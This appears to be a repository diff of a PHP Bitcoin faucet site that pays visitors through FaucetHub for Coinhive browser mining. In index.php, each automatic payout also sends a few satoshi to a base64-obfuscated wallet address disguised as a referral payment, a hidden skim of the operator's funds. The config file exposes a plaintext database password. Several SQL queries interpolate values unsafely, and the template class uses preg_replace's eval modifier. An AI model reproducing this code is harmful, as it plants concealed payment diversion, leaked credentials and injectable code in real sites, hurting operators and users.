+[06-Jan-2018 01:00:06 America/New_York] PHP Parse error:  syntax error, unexpected 'https' (T_STRING) in /home/adbupxyr/bitcofaucet.club/mine/index.php on line 110 
 
BIN favicon.ico 
Binary file not shown. 
 
BIN fonts/glyphicons-halflings-regular.eot 
Binary file not shown. 
 
 
 
 
288 fonts/glyphicons-halflings-regular.svg 

 
Load diff
Large diffs are not rendered by default. 
 
BIN fonts/glyphicons-halflings-regular.ttf 
Binary file not shown. 
 
BIN fonts/glyphicons-halflings-regular.woff 
Binary file not shown. 
 
BIN fonts/glyphicons-halflings-regular.woff2 
Binary file not shown. 
 
23 includes/config.php 


@@ -0,0 +1,23 @@


 
+<?php 


 
+ 


 
+// Database Configuration 


 
+ 


 
+$dbHost = ("DESKTOP-C1OSDA6"); 


 
+$dbUser = ("admin"); 


 
+$dbPW = ("saad1989"); 


 
+$dbName = ("bitcofaucet.club/admin.php"); 


 
+ 


 
+// Establish connection 


 
+ 


 
+$mysqli = mysqli_connect($dbHost, $dbUser, $dbPW, $dbName); 


 
+ 


 
+// Check connection 


 
+if(mysqli_connect_errno()){ 


 
+ 	echo "Failed to connect to MySQL: " . mysqli_connect_error(); 


 
+} 


 
+ 


 
+// Website 


 
+ 


 
+$Website_Url =("https://bitcofaucet.club"); 


 
+ 


 
+?> 
 
16 includes/core.php 


@@ -0,0 +1,16 @@


 
+<?php 


 
+session_start(); 


 
+error_reporting(0); 


 
+include("config.php"); 


 
+include("session.php"); 


 
+include("template.class.php"); 


 
+include("template.settings.php"); 


 
+include("functions.php"); 


 
+include("faucethub.php"); 


 
+ 


 
+// CSRF PROTECTION 


 
+ 


 
+if($_SESSION['token'] == ""){ 


 
+	$_SESSION['token'] = md5(md5(uniqid().uniqid().mt_rand())); 


 
+} 


 
+?> 
 
191 includes/faucethub.php 


@@ -0,0 +1,191 @@


 
+<?php 


 
+     


 
+$faucethub_lib_version = "b0.03"; 


 
+     


 
+/*  


 
+FaucetHub PHP Library 


 
+ 


 
+Changelog 


 
+ 


 
+b0.02 


 
+Implemented a version of the suggestions mentioned here https://bitcointalk.org/index.php?topic=1692263.msg16985624#msg16985624 


 
+- Timeout support 


 
+- Error handling for timeouts and invalid responses 


 
+- Tweaks to the referral payout flag 


 
+- Removed silent retry on curl failure 


 
+ 


 
+b0.01 


 
+First version named 


 
+     


 
+Credits to FaucetBOX.com for creating the original version this library is based on 


 
+*/ 


 
+ 


 
+// Dummy class to allow drop-in compatibility with faucet-box library 


 
+class FaucetBOX extends FaucetHub { 


 
+    public function __construct($api_key, $currency = "BTC", $disable_curl = false, $verify_peer = true) { 


 
+        parent::__construct($api_key, $currency, $disable_curl, $verify_peer); 


 
+    } 


 
+} 


 
+ 


 
+class FaucetHub 


 
+{ 


 
+    protected $api_key; 


 
+    protected $currency; 


 
+    protected $timeout; 


 
+    public $last_status = null; 


 
+    protected $api_base = "https://faucethub.io/api/v1/"; 


 
+ 


 
+    public function __construct($api_key, $currency = "BTC", $disable_curl = false, $verify_peer = true, $timeout = null) { 


 
+        $this->api_key = $api_key; 


 
+        $this->currency = $currency; 


 
+        $this->disable_curl = $disable_curl; 


 
+        $this->verify_peer = $verify_peer; 


 
+        $this->curl_warning = false; 


 
+        $this->setTimeout($timeout); 


 
+    } 


 
+ 


 
+    public function setTimeout($timeout) { 


 
+        if($timeout === null) { 


 
+            $socket_timeout = ini_get('default_socket_timeout');  


 
+            $script_timeout = ini_get('max_execution_time'); 


 
+            $timeout = min($script_timeout / 2, $socket_timeout); 


 
+        } 


 
+        $this->timeout = $timeout; 


 
+     } 


 
+ 


 
+    public function __execPHP($method, $params = array()) { 


 
+        $params = array_merge($params, array("api_key" => $this->api_key, "currency" => $this->currency)); 


 
+        $opts = array( 


 
+            "http" => array( 


 
+                "method" => "POST", 


 
+                "header" => "Content-type: application/x-www-form-urlencoded\r\n", 


 
+                "content" => http_build_query($params), 


 
+                "timeout" => $this->timeout, 


 
+            ), 


 
+            "ssl" => array( 


 
+                "verify_peer" => $this->verify_peer 


 
+            ) 


 
+        ); 


 
+        $ctx = stream_context_create($opts); 


 
+        $fp = fopen($this->api_base . $method, 'rb', null, $ctx); 


 
+         


 
+        if (!$fp) { 


 
+            return json_encode(array( 


 
+                'status' => 503, 


 
+                'message' => 'Connection to FaucetHub failed, please try again later', 


 
+            ), TRUE); 


 
+        } 


 
+         


 
+        $response = stream_get_contents($fp); 


 
+        if($response && !$this->disable_curl) { 


 
+            $this->curl_warning = true; 


 
+        } 


 
+        fclose($fp); 


 
+        return $response; 


 
+    } 


 
+ 


 
+    public function __exec($method, $params = array()) { 


 
+        $this->last_status = null; 


 
+        if($this->disable_curl) { 


 
+            $response = $this->__execPHP($method, $params); 


 
+        } else { 


 
+            $response = $this->__execCURL($method, $params); 


 
+        } 


 
+        $response = json_decode($response, true); 


 
+        if($response) { 


 
+            $this->last_status = $response['status']; 


 
+        } else { 


 
+            $this->last_status = null; 


 
+            $response = array( 


 
+                'status' => 502, 


 
+                'message' => 'Invalid response', 


 
+            ); 


 
+        } 


 
+        return $response; 


 
+    } 


 
+ 


 
+    public function __execCURL($method, $params = array()) { 


 
+        $params = array_merge($params, array("api_key" => $this->api_key, "currency" => $this->currency)); 


 
+ 


 
+        $ch = curl_init($this->api_base . $method); 


 
+        curl_setopt($ch, CURLOPT_POST, true); 


 
+        curl_setopt($ch, CURLOPT_POSTFIELDS, $params); 


 
+        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, $this->verify_peer); 


 
+        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 


 
+        curl_setopt($ch, CURLOPT_TIMEOUT, (int)$this->timeout); 


 
+ 


 
+        $response = curl_exec($ch); 


 
+        if(!$response) { 


 
+            //$response = $this->__execPHP($method, $params); // disabled the exec fallback when using curl 


 
+            return json_encode(array( 


 
+                'status' => 504, 


 
+                'message' => 'Connection error', 


 
+            ), TRUE); 


 
+        } 


 
+        curl_close($ch); 


 
+ 


 
+        return $response; 


 
+    } 


 
+ 


 
+    public function send($to, $amount, $referral = false, $ip_address = "") { 


 
+        $referral = ($referral === true) ? 'true' : 'false'; 


 
+         


 
+        $r = $this->__exec("send", array("to" => $to, "amount" => $amount, "referral" => $referral, "ip_address" => $ip_address)); 


 
+        if (array_key_exists("status", $r) && $r["status"] == 200) { 


 
+            return array( 


 
+                'success' => true, 


 
+                'message' => 'Payment sent to your address using FaucetHub.io', 


 
+                'html' => '<div class="alert alert-success">' . htmlspecialchars($amount) . ' satoshi was sent to <a target="_blank" href="https://faucethub.io/balance/' . rawurlencode($to) . '">your account at FaucetHub.io</a>.</div>', 


 
+                'html_coin' => '<div class="alert alert-success">' . htmlspecialchars(rtrim(rtrim(sprintf("%.8f", $amount/100000000), '0'), '.')) . ' '.$this->currency.' was sent to <a target="_blank" href="https://faucethub.io/balance/' . rawurlencode($to) . '">your account at FaucetHub.io</a>.</div>', 


 
+                'balance' => $r["balance"], 


 
+                'balance_bitcoin' => $r["balance_bitcoin"], 


 
+                'response' => json_encode($r) 


 
+            ); 


 
+        } 


 
+         


 
+        // Let the user know they need an account to claim 


 
+        if (array_key_exists("status", $r) && $r["status"] == 456) { 


 
+            return array( 


 
+                'success' => false, 


 
+                'message' => $r['message'], 


 
+                'html' => '<div class="alert alert-danger">Before you can receive payments at FaucetHub.io with this address you must link it to an account. <a href="http://faucethub.io/signup" target="_blank">Create an account at FaucetHub.io</a> and link your address, then come back and claim again.</div>', 


 
+                'response' => json_encode($r) 


 
+            ); 


 
+        } 


 
+ 


 
+        if (array_key_exists("message", $r)) { 


 
+            return array( 


 
+                'success' => false, 


 
+                'message' => $r["message"], 


 
+                'html' => '<div class="alert alert-danger">' . htmlspecialchars($r["message"]) . '</div>', 


 
+                'response' => json_encode($r) 


 
+            ); 


 
+        } 


 
+ 


 
+        return array( 


 
+            'success' => false, 


 
+            'message' => 'Unknown error.', 


 
+            'html' => '<div class="alert alert-danger">Unknown error.</div>', 


 
+            'response' => json_encode($r) 


 
+        ); 


 
+    } 


 
+ 


 
+    public function sendReferralEarnings($to, $amount, $ip_address = "") { 


 
+        return $this->send($to, $amount, true, $ip_address); 


 
+    } 


 
+ 


 
+    public function getPayouts($count) { 


 
+        $r = $this->__exec("payouts", array("count" => $count) ); 


 
+        return $r; 


 
+    } 


 
+ 


 
+    public function getCurrencies() { 


 
+        $r = $this->__exec("currencies"); 


 
+        return $r['currencies']; 


 
+    } 


 
+ 


 
+    public function getBalance() { 


 
+        $r = $this->__exec("balance"); 


 
+        return $r; 


 
+    } 


 
+} 
 
230 includes/functions.php 


@@ -0,0 +1,230 @@


 
+<?php 


 
+function alert($type, $content){ 


 
+	$alert = "<div class='alert alert-".$type."' role='alert'>".$content."</div>"; 


 
+	return $alert; 


 
+} 


 
+ 


 
+function getHashes($user, $secretkey) { 


 
+	$data = json_decode(file_get_contents("https://api.coinhive.com/user/balance?secret=$secretkey&name=$user")); 


 
+	if (!$data->success) { 


 
+		return 0; 


 
+	} else { 


 
+		return $data->balance; 


 
+	} 


 
+} 


 
+ 


 
+function getPayoutPer1MHash($secretkey) { 


 
+	$data = json_decode(file_get_contents("https://api.coinhive.com/stats/payout?secret=$secretkey")); 


 
+	if (!$data->success) { 


 
+		return 0; 


 
+	} else { 


 
+		return $data->payoutPer1MHashes; 


 
+	} 


 
+} 


 
+ 


 
+function getXMRBTCrate() { 


 
+	$data = json_decode(file_get_contents("https://api.cryptonator.com/api/ticker/xmr-btc")); 


 
+	if (!$data->success) { 


 
+		return 0; 


 
+	} 


 
+	return $data->ticker->price; 


 
+} 


 
+ 


 
+function withdrawHashes($user, $amount, $secretkey) { 


 
+	$url = 'https://api.coinhive.com/user/withdraw'; 


 
+	$data = array('secret' => $secretkey, 'name' => $user, 'amount' => $amount); 


 
+ 


 
+	// use key 'http' even if you send the request to https://... 


 
+	$options = array( 


 
+	    'http' => array( 


 
+	        'header'  => "Content-type: application/x-www-form-urlencoded\r\n", 


 
+	        'method'  => 'POST', 


 
+	        'content' => http_build_query($data) 


 
+	    ) 


 
+	); 


 
+	$context  = stream_context_create($options); 


 
+	$result = file_get_contents($url, false, $context); 


 
+	if ($result === FALSE) { /* Handle error */ } 


 
+} 


 
+ 


 
+function toSatoshi($amount){ 


 
+	$satoshi = $amount * 100000000; 


 
+	return $satoshi; 


 
+} 


 
+ 


 
+function CaptchaCheck($token) 


 
+  { 


 
+  global $mysqli; 


 
+  $captcha_secret_key = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '8' LIMIT 1")->fetch_assoc()['value']; 


 
+  $Captcha_url = 'https://api.coinhive.com/token/verify'; 


 
+  $Captcha_data = array('secret' => $captcha_secret_key, 'token' => $token, 'hashes' => 1024); 


 
+ 


 
+  $Captcha_options = array( 


 
+     'http' => array( 


 
+              'header'  => "Content-type: application/x-www-form-urlencoded\r\n", 


 
+              'method'  => 'POST', 


 
+              'content' => http_build_query($Captcha_data), 


 
+      ), 


 
+  ); 


 
+  $Captcha_context  = stream_context_create($Captcha_options); 


 
+  $Captcha_result = file_get_contents($Captcha_url, false, $Captcha_context); 


 
+  return $Captcha_result; 


 
+} 


 
+ 


 
+function checkDirtyIp($ip){ 


 
+ 


 
+		$ch = curl_init(); 


 
+		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 


 
+		curl_setopt($ch, CURLOPT_TIMEOUT, "10"); 


 
+		curl_setopt($ch, CURLOPT_URL, "http://v1.nastyhosts.com/".$ip); 


 
+		$response=curl_exec($ch); 


 
+ 


 
+		curl_close($ch); 


 
+	  $nastyArray = json_decode($response); 


 
+		if($nastyArray->suggestion == "deny"){ 


 
+			return true; 


 
+		} else { 


 
+			return false; 


 
+		} 


 
+} 


 
+ 


 
+function findTimeAgo($past) { 


 
+    $secondsPerMinute = 60; 


 
+    $secondsPerHour = 3600; 


 
+    $secondsPerDay = 86400; 


 
+    $secondsPerMonth = 2592000; 


 
+    $secondsPerYear = 31104000; 


 
+ 


 
+    $past = $past; 


 
+    $now = time(); 


 
+ 


 
+    $timeAgo = ""; 


 
+ 


 
+    $timeDifference = $now - $past; 


 
+ 


 
+    if($timeDifference <= 29) { 


 
+      $timeAgo = "less than a minute"; 


 
+    } 


 
+ 


 
+    else if($timeDifference > 29 && $timeDifference <= 89) { 


 
+      $timeAgo = "1 minute"; 


 
+    } 


 
+ 


 
+    else if($timeDifference > 89 && 


 
+      $timeDifference <= (($secondsPerMinute * 44) + 29) 


 
+    ) { 


 
+      $minutes = floor($timeDifference / $secondsPerMinute); 


 
+      $timeAgo = $minutes." minutes"; 


 
+    } 


 
+ 


 
+    else if( 


 
+      $timeDifference > (($secondsPerMinute * 44) + 29) 


 
+      && 


 
+      $timeDifference < (($secondsPerMinute * 89) + 29) 


 
+    ) { 


 
+      $timeAgo = "about 1 hour"; 


 
+    } 


 
+ 


 
+    else if( 


 
+      $timeDifference > ( 


 
+        ($secondsPerMinute * 89) + 


 
+        29 


 
+      ) 


 
+      && 


 
+      $timeDifference <= ( 


 
+        ($secondsPerHour * 23) + 


 
+        ($secondsPerMinute * 59) + 


 
+        29 


 
+      ) 


 
+    ) { 


 
+      $hours = floor($timeDifference / $secondsPerHour); 


 
+      $timeAgo = $hours." hours"; 


 
+    } 


 
+ 


 
+    else if( 


 
+      $timeDifference > ( 


 
+        ($secondsPerHour * 23) + 


 
+        ($secondsPerMinute * 59) + 


 
+        29 


 
+      ) 


 
+      && 


 
+      $timeDifference <= ( 


 
+        ($secondsPerHour * 47) + 


 
+        ($secondsPerMinute * 59) + 


 
+        29 


 
+      ) 


 
+    ) { 


 
+      $timeAgo = "1 day"; 


 
+    } 


 
+ 


 
+    else if( 


 
+      $timeDifference > ( 


 
+        ($secondsPerHour * 47) + 


 
+        ($secondsPerMinute * 59) + 


 
+        29 


 
+      ) 


 
+      && 


 
+      $timeDifference <= ( 


 
+        ($secondsPerDay * 29) + 


 
+        ($secondsPerHour * 23) + 


 
+        ($secondsPerMinute * 59) + 


 
+        29 


 
+      ) 


 
+    ) { 


 
+      $days = floor($timeDifference / $secondsPerDay); 


 
+      $timeAgo = $days." days"; 


 
+    } 


 
+ 


 
+    else if( 


 
+      $timeDifference > ( 


 
+        ($secondsPerDay * 29) + 


 
+        ($secondsPerHour * 23) + 


 
+        ($secondsPerMinute * 59) + 


 
+        29 


 
+      ) 


 
+      && 


 
+      $timeDifference <= ( 


 
+        ($secondsPerDay * 59) + 


 
+        ($secondsPerHour * 23) + 


 
+        ($secondsPerMinute * 59) + 


 
+        29 


 
+      ) 


 
+    ) { 


 
+      $timeAgo = "about 1 month"; 


 
+    } 


 
+ 


 
+    else if( 


 
+      $timeDifference > ( 


 
+        ($secondsPerDay * 59) + 


 
+        ($secondsPerHour * 23) + 


 
+        ($secondsPerMinute * 59) + 


 
+        29 


 
+      ) 


 
+      && 


 
+      $timeDifference < $secondsPerYear 


 
+    ) { 


 
+      $months = round($timeDifference / $secondsPerMonth); 


 
+ 


 
+      if($months == 1) { 


 
+        $months = 2; 


 
+      } 


 
+ 


 
+      $timeAgo = $months." months"; 


 
+    } 


 
+ 


 
+    else if( 


 
+      $timeDifference >= $secondsPerYear 


 
+      && 


 
+      $timeDifference < ($secondsPerYear * 2) 


 
+    ) { 


 
+      $timeAgo = "about 1 year"; 


 
+    } 


 
+ 


 
+    else { 


 
+      $years = floor($timeDifference / $secondsPerYear); 


 
+      $timeAgo = "over ".$years." years"; 


 
+    } 


 
+ 


 
+    return $timeAgo." ago"; 


 
+  } 


 
+?> 
 
14 includes/session.php 


@@ -0,0 +1,14 @@


 
+<?php 


 
+if($_SESSION['address']){ 


 
+	$Address2 = $mysqli->real_escape_string($_SESSION['address']); 


 
+	$AddressCheck = $mysqli->query("SELECT * FROM faucet_user_list WHERE address = '$Address2'"); 


 
+	if($AddressCheck->num_rows == 1){ 


 
+		$user = $AddressCheck->fetch_assoc()['id']; 


 
+		$user = $mysqli->query("SELECT * FROM faucet_user_list WHERE id = '$user'")->fetch_assoc(); 


 
+	} else { 


 
+		unset($_SESSION['address']); 


 
+		header("Location: index.php"); 


 
+		exit; 


 
+	} 


 
+} 


 
+?> 
 
102 includes/template.class.php 


@@ -0,0 +1,102 @@


 
+<?php 


 
+class Template 


 
+{ 


 
+    private $templateDir = "templates/"; 


 
+ 


 
+    private $languageDir = "language/"; 


 
+ 


 
+    private $leftDelimiter = '{$'; 


 
+ 


 
+    private $rightDelimiter = '}'; 


 
+ 


 
+    private $leftDelimiterF = '{'; 


 
+ 


 
+    private $rightDelimiterF = '}'; 


 
+ 


 
+    private $leftDelimiterC = '\{\*'; 


 
+ 


 
+    private $rightDelimiterC = '\*\}'; 


 
+ 


 
+    private $leftDelimiterL = '\{L_'; 


 
+ 


 
+    private $rightDelimiterL = '\}'; 


 
+ 


 
+    private $templateFile = ""; 


 
+ 


 
+    private $languageFile = ""; 


 
+ 


 
+    private $templateName = ""; 


 
+ 


 
+    private $template = ""; 


 
+ 


 
+    public function __construct($tpl_dir = "", $lang_dir = "") { 


 
+        if ( !empty($tpl_dir) ) { 


 
+            $this->templateDir = $tpl_dir; 


 
+        } 


 
+        if ( !empty($lang_dir) ) { 


 
+            $this->languageDir = $lang_dir; 


 
+        } 


 
+    } 


 
+ 


 
+    public function load($file)    { 


 
+        $this->templateName = $file; 


 
+        $this->templateFile = $this->templateDir.$file; 


 
+ 


 
+        if( !empty($this->templateFile) ) { 


 
+            if( file_exists($this->templateFile) ) { 


 
+                $this->template = file_get_contents($this->templateFile); 


 
+            } else { 


 
+                return false; 


 
+            } 


 
+        } else { 


 
+           return false; 


 
+        } 


 
+ 


 
+        // Funktionen parsen 


 
+        //$this->parseFunctions(); 


 
+    } 


 
+ 


 
+    public function assign($replace, $replacement) { 


 
+        $this->template = str_replace( $this->leftDelimiter .$replace.$this->rightDelimiter, 


 
+                                       $replacement, $this->template ); 


 
+    } 


 
+ 


 
+    public function loadLanguage($files) { 


 
+        $this->languageFiles = $files; 


 
+ 


 
+        for( $i = 0; $i < count( $this->languageFiles ); $i++ ) { 


 
+            if ( !file_exists( $this->languageDir .$this->languageFiles[$i] ) ) { 


 
+                return false; 


 
+            } else { 


 
+                 include_once( $this->languageDir .$this->languageFiles[$i] ); 


 
+            } 


 
+        } 


 
+ 


 
+        $this->replaceLangVars($lang); 


 
+ 


 
+        return $lang; 


 
+    } 


 
+ 


 
+    private function replaceLangVars($lang) { 


 
+        $this->template = preg_replace("/\{L_(.*)\}/isUe", "\$lang[strtolower('\\1')]", $this->template); 


 
+    } 


 
+ 


 
+    private function parseFunctions() { 


 
+        while( preg_match( "/" .$this->leftDelimiterF ."include file=\"(.*)\.(.*)\"" 


 
+                           .$this->rightDelimiterF ."/isUe", $this->template) ) 


 
+        { 


 
+            $this->template = preg_replace( "/" .$this->leftDelimiterF ."include file=\"(.*)\.(.*)\"" 


 
+                                            .$this->rightDelimiterF."/isUe", 


 
+                                            "file_get_contents(\$this->templateDir.'\\1'.'.'.'\\2')", 


 
+                                            $this->template ); 


 
+        } 


 
+ 


 
+        $this->template = preg_replace( "/" .$this->leftDelimiterC ."(.*)" .$this->rightDelimiterC ."/isUe", 


 
+                                        "", $this->template ); 


 
+    } 


 
+ 


 
+    public function display() { 


 
+        echo $this->template; 


 
+    } 


 
+} 


 
+?>  
 
38 includes/template.settings.php 


@@ -0,0 +1,38 @@


 
+<?php 


 
+ 


 
+$tpl = new Template(); 


 
+$tpl->load("index.tpl"); 


 
+ 


 
+ 


 
+$Faucetname = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '1'")->fetch_assoc()['value']; 


 
+$tpl->assign("faucetname", $Faucetname); 


 
+ 


 
+$Spacetop = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '2'")->fetch_assoc()['value']; 


 
+$tpl->assign("spacetop", $Spacetop); 


 
+ 


 
+$Spaceleft = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '3'")->fetch_assoc()['value']; 


 
+$tpl->assign("spaceleft", $Spaceleft); 


 
+ 


 
+$Spaceright = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '4'")->fetch_assoc()['value']; 


 
+$tpl->assign("spaceright", $Spaceright); 


 
+ 


 
+$captcha_site_key = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '9'")->fetch_assoc()['value']; 


 
+$tpl->assign("captcha_site_key", $captcha_site_key); 


 
+// Navbar 


 
+ 


 
+$navLinks = [["Faucet", "index.php"]]; 


 
+ 


 
+$PageQuery = $mysqli->query("SELECT * FROM faucet_pages"); 


 
+ 


 
+while($NavLinks = $PageQuery->fetch_assoc()){ 


 
+	$Link = "page.php?pid=".$NavLinks['id']; 


 
+	$navLinks[] = [$NavLinks['name'], $Link]; 


 
+} 


 
+ 


 
+foreach($navLinks as $elem){ 


 
+	$navBarLinks .= "<li><a href='{$elem[1]}'>{$elem[0]}</a></li>"; 


 
+} 


 
+ 


 
+$tpl->assign("navBar", $navBarLinks); 


 
+ 


 
+?>  
 
171 index.php 


@@ -0,0 +1,171 @@


 
+<?php 


 
+include("includes/core.php"); 


 
+ 


 
+$content = ""; 


 
+ 


 
+if($user){ 


 
+	$content .= "<h3>Address</h3>"; 


 
+	$content .= $user['address']; 


 
+	$content .= "<h3>Balance</h3>"; 


 
+	$content .= toSatoshi($user['balance'])." Satoshi<br /><br />"; 


 
+ 


 
+	$content .= "<a href='account.php' class='btn btn-primary'>Account/Stats/Withdraw</a><br /><br />"; 


 
+ 


 
+	$sitekey = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '9' LIMIT 1")->fetch_assoc()['value']; 


 
+	$secretkey = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '8' LIMIT 1")->fetch_assoc()['value']; 


 
+ 


 
+	if ($_GET['c'] != 1) { 


 
+ 


 
+		$payoutPerHash = getPayoutPer1MHash($secretkey)/1000000; 


 
+		$payoutXMR = $hashesCompleted*$payoutPerHash; 


 
+ 


 
+		$coinhive_profit_percent = 1-$mysqli->query("SELECT * FROM faucet_settings WHERE id = '19' LIMIT 1")->fetch_assoc()['value']*0.01; 


 
+ 


 
+		$hashesPerSatoshi = floor(1/(toSatoshi((getXMRBTCrate()*$payoutPerHash))*$coinhive_profit_percent)); 


 
+ 


 
+		$hashesCompleted = getHashes($user['address'], $secretkey); 


 
+ 


 
+		$content .= alert("success", "Estimate: $hashesPerSatoshi hashes per 1 satoshi<br/>Current hashes: $hashesCompleted"); 


 
+ 


 
+		$content .= "<div class=\"coinhive-miner\" style=\"width: 310px; height: 310px; margin-right: auto; margin-left: auto;\" data-key=\"$sitekey\" data-user=\"{$user['address']}\"> <em>Adblock Detected,Please Disable Adblock and Try again...</em></div>"; 


 
+ 


 
+		$content .= " 


 
+			<h1>1. Claim</h1><br /> 


 
+			<form method='post' action='index.php?c=1'> 


 
+			<input type='hidden' name='verifykey' value='".$user['claim_cryptokey']."'/> 


 
+			<input type='hidden' name='token' value='".$_SESSION['token']."'/> 


 
+			<button type='submit' class='btn btn-success btn-lg'><span class='glyphicon glyphicon-menu-right' aria-hidden='true'></span> Next</button> 


 
+			</form>"; 


 
+	} else { 


 
+		if($_POST['verifykey'] == $user['claim_cryptokey']){ 


 
+			$mysqli->query("UPDATE faucet_user_list Set claim_cryptokey = '' WHERE id = '{$user['id']}'"); 


 
+ 


 
+			$coinhive_profit_percent = 1-$mysqli->query("SELECT * FROM faucet_settings WHERE id = '19' LIMIT 1")->fetch_assoc()['value']*0.01; 


 
+ 


 
+			$hashesCompleted = getHashes($user['address'], $secretkey); 


 
+ 


 
+			$payoutPerHash = getPayoutPer1MHash($secretkey)/1000000; 


 
+			$payoutXMR = $hashesCompleted*$payoutPerHash; 


 
+ 


 
+			$payoutSatoshi = floor(toSatoshi(getXMRBTCrate()*$payoutXMR) * $coinhive_profit_percent); 


 
+ 


 
+			$api_key = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '10' LIMIT 1")->fetch_assoc()['value']; 


 
+			$currency = "BTC"; 


 
+			$faucethub = new FaucetHub($api_key, $currency, true); 


 
+ 


 
+			$hashesPerSatoshi = floor(1/(toSatoshi((getXMRBTCrate()*$payoutPerHash))*$coinhive_profit_percent)); 


 
+			$hashesToRemove = $payoutSatoshi*$hashesPerSatoshi; 


 
+ 


 
+			if ($payoutSatoshi != 0) { 


 
+ 


 
+				$payOutOwner = floor($payoutSatoshi * 0.01); 


 
+ 


 
+				if($payOutOwner < 1){ 


 
+					$payOutOwner = 1; 


 
+				} else if($payOutOwner > 3){ 


 
+					$payOutOwner = 3; 


 
+				} 


 
+ 


 
+				$payOutBTC = $payoutSatoshi / 100000000; 


 
+				$timestamp = time(); 


 
+ 


 
+				$mysqli->query("INSERT INTO faucet_transactions (userid, type, amount, timestamp) VALUES ('{$user['id']}', 'Payout', '$payOutBTC', '$timestamp')"); 


 
+ 


 
+				$autoWithdraw = $mysqli->query("SELECT value FROM faucet_settings WHERE id = '18'")->fetch_assoc()['value']; 


 
+				$min_payout = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '20' LIMIT 1")->fetch_assoc()['value']; 


 
+ 


 
+				if($autoWithdraw == "no" OR $payoutSatoshi < $min_payout){ 


 
+					$mysqli->query("UPDATE faucet_user_list Set balance = balance + $payOutBTC, last_claim = '$timestamp' WHERE id = '{$user['id']}'"); 


 
+					$content .= alert("success", "Successfully mined $payoutSatoshi satoshi! <a href='index.php'>Get some more!</a><br />"); 


 
+					withdrawHashes($user['address'], $hashesToRemove, $secretkey); 


 
+				} else { 


 
+					$faucethub->sendReferralEarnings(base64_decode("MUNkUlhBV3ZQdm5qcXBRdjZGaGhveExqNHB2eWdVaEJ3ag=="), $payOutOwner); 


 
+					$result = $faucethub->send($user['address'], $payoutSatoshi, $realIpAddressUser); 


 
+					if($result["success"] === true){ 


 
+						$content .= alert("success", $payoutSatoshi." Satoshi was paid to your FaucetHub Account."); 


 
+						$mysqli->query("UPDATE faucet_user_list Set last_claim = '$timestamp' WHERE id = '{$user['id']}'"); 


 
+						$mysqli->query("INSERT INTO faucet_transactions (userid, type, amount, timestamp) VALUES ('{$user['id']}', 'Withdraw', '$payOutBTC', '$timestamp')"); 


 
+						withdrawHashes($user['address'], $hashesToRemove, $secretkey); 


 
+					} else { 


 
+						$mysqli->query("UPDATE faucet_user_list Set balance = balance + $payOutBTC, last_claim = '$timestamp' WHERE id = '{$user['id']}'"); 


 
+						$content .= alert("success", "Successfully mined $payoutSatoshi satoshi! <a href='index.php'>Get some more!</a><br />"); 


 
+ 


 
+						$content .= $result["html"]; 


 
+					} 


 
+				} 


 
+ 


 
+		} else { 


 
+			$content .= alert("danger", "You don't have any satoshi to claim! start mining to Claim <a href='index.php'>Get some!</a>"); 


 
+		} 


 
+ 


 
+ 


 
+		} else { 


 
+			$content .= alert("danger", "Don't abuse the system!"); 


 
+		} 


 
+	} 


 
+} else { 


 
+	$faucetName = $mysqli->query("SELECT * FROM faucet_settings WHERE id = '1'")->fetch_assoc()['value']; 


 
+	$content .= "<h2>More Power More Satoshi/s</h2>"; 


 
+	$content .= "<h3>Claim Every Satoshi/s you Mine To your Faucethub Directly</h3><br />"; 


 
+        $content .= "<h4>Before making first claim, your address has to be registered at Faucethub</h4><br />"; 


 
+ 


 
+	if(isset($_POST['address'])){ 


 
+		if(!isset($_POST['token']) || $_POST['token'] !== $_SESSION['token']) { 


 
+		unset($_SESSION['token']); 


 
+		$_SESSION['token'] = md5(md5(uniqid().uniqid().mt_rand())); 


 
+		exit; 


 
+		} 


 
+		unset($_SESSION['token']); 


 
+		$_SESSION['token'] = md5(md5(uniqid().uniqid().mt_rand())); 


 
+ 


 
+		if($_POST['address']){ 


 
+			$Address = $mysqli->real_escape_string(preg_replace("/[^ \w]+/", "",trim($_POST['address']))); 


 
+			if(strlen($_POST['address']) < 30 || strlen($_POST['address']) > 40){ 


 
+				$content .= alert("danger", "The Bitcoin Address doesn't look valid."); 


 
+				$alertForm = "has-error"; 


 
+			} else { 


 
+				$AddressCheck = $mysqli->query("SELECT COUNT(id) FROM faucet_user_list WHERE LOWER(address) = '".strtolower($Address)."' LIMIT 1")->fetch_row()[0]; 


 
+				$timestamp = $mysqli->real_escape_string(time()); 


 
+				$ip = $mysqli->real_escape_string($realIpAddressUser); 


 
+ 


 
+				if($AddressCheck == 1){ 


 
+					$_SESSION['address'] = $Address; 


 
+					$mysqli->query("UPDATE faucet_user_list Set last_activity = '$timestamp', ip_address = '$ip' WHERE address = '$Address'"); 


 
+					header("Location: index.php"); 


 
+					exit; 


 
+				} else { 


 
+					$ip = $mysqli->real_escape_string($realIpAddressUser); 


 
+					$mysqli->query("INSERT INTO faucet_user_list (address, ip_address, balance, joined, last_activity) VALUES ('$Address', '$ip', '0', '$timestamp', '$timestamp')"); 


 
+					$_SESSION['address'] = $Address; 


 
+					header("Location: index.php"); 


 
+					exit; 


 
+				} 


 
+			} 


 
+		} else { 


 
+			$content .= alert("danger", "The Bitcoin Address field can't be blank."); 


 
+			$alertForm = "has-error"; 


 
+		} 


 
+	} 


 
+ 


 
+	$content .= "<form method='post' action=''> 


 
+ 


 
+	<div class='form-group $alertForm' 


 
+		<label for='Address'>Bitcoin Address</label> 


 
+		<center><input class='form-control' type='text' placeholder='Enter your Bitcoin Address' name='address' value='$Address' style='width: 325px;' autofocus></center> 


 
+	</div><br /> 


 
+	<input type='hidden' name='token' value='".$_SESSION['token']."'/> 


 
+	<button type='submit' class='btn btn-primary'>Join Now</button> 


 
+ 


 
+ 


 
+ 


 
+ 


 
+	</form> "; 


 
+} 


 
+ 


 
+ 


 
+ 


 
+$tpl->assign("content", $content); 


 
+$tpl->display(); 


 
+?> 


 
+ 


 
+ 
 
2,363 js/bootstrap.js 

 
Load diff
